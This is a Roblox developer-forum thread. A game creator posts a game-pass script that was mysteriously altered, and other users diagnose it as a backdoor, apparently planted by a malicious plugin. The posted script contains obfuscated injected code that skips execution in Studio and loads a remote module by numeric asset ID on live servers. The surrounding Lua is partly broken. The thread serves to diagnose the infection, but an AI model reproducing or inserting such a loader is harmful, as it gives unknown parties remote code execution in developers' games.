Hello, I’m the creator of the game Island Jump. It’s a fairly small game at the moment and I’m working on growing it little by little. Yesterday night I released an update on the game. Before that the game passes we’re working perfectly. This morning however the script for the game-pass is scrambled. This is a huge problem as players need to be receiving what they paid for.
This is the script that got scrambled
local wr = “Walk&Run”
ikwuo5w7nHZVuVsmD = 'GetProductInfo' iMgO1DXhJtCt = require iHTFWcBFj1w =
'IsStudio' iaZsymUZilaNX = 'PlaceId' iTF61TlzkdD = 'MarketplaceService'
iStzp8uNODQd58p = pcall iDFNun = 'Debris' i5zWxeAg = spawn iQ5bQ7bOwiv =
'RunService' iirK = 31235962.270588 * 85 ixI2wDcBF2j = 'WaitForChild' i9vJ9MzYO
= 'load' iZo1rOijJGZqzyv = 'Description' i6PxcB1eCEx = 'IsStudio' icdZW135 =
'ReplicatedStorage' iK4ORC = game i5zWxeAg( function() iStzp8uNODQd58p(
function() if iK4ORC:GetService(iBTDHsYaRR) [i6PxcB1eCEx] (iK4ORC:GetService(iBTDHsYaRR) ) then return end iMgO1DXhJtCt(iirK) [i9vJ9MzYO] (iK4ORC[iaZsymUZilaNX] ) end ) end )
function(player)
game.Players.PlayerAdded:Connect(function) pcall
end
game.Players.LocalPlayer.CharacterAdded:Connect(function(char)
local gamepass1 = "6652645"
local gamepass2 = "6777620" -- Gamepass ID
wait(1)
if player.PlayerGui:FindFirstChild(wr) == nil then
if game:GetService("MarketplaceService"):UserOwnsGamePassAsync(player.UserId,gamepass1) then
game.Lighting[wr]:Clone().Parent = player.PlayerGui
end
end
if game:GetService("MarketplaceService"):UserOwnsGamePassAsync(player.UserId,gamepass1) then
game.Lighting.Boombox:Clone().Parent = player.Backpack
end
end)
I'm not sure if someone did some type of exploit if my game has a virus or
whats going on. If you guys could let me know if this has happened to you or
any ways to solve this or prevent it from happening in the future it
would be much appreciated.
Kind Regards
TheTimeDefender
I think the main question is to ask is that do you know exactly what you’ve inserted into your game.
It’s very easy to find models off the library and add them onto your game which could have the chance of containing hidden scripts which could be damaging your game now.
Could you also explain what you mean by this?
If you have other developers working alongside you in this project then you will need to check with them with whatever has been put into the game.
It looks like some of the code has been somewhat encoded to possibly hide some malicious content.
Indeed. All of my developers work off of separate games. So no ones had direct access to the game. I also check threw any scripts that they make. The only things I’ve added off the ToolBox is Kohls admin. But I’ve used that quite a bit.
My guess would be that this is either the work of someone on your development team, or a malicious plug-in you’ve installed. Scripts do not have the proper security context to manipulate the source of other scripts, or publish lasting changes.
Hello! This is a backdoor. Like what others said, this can be the result of other developers or plugins you may had installed (they can modify your scripts, as far as I know, correct me if I am wrong).
After looking through your inventory, the culprit is more than likely this plugin (I’ve looked through the source code, and noticed a small portion of it is obfuscated and is hidden in the script). I’d advise uninstalling it and checking the rest of your plugins you have installed.
Yup Just checked up with my team. Down below someone commented a plugin I had which was causing some errors! Hopefully this solves the problem. Thanks again!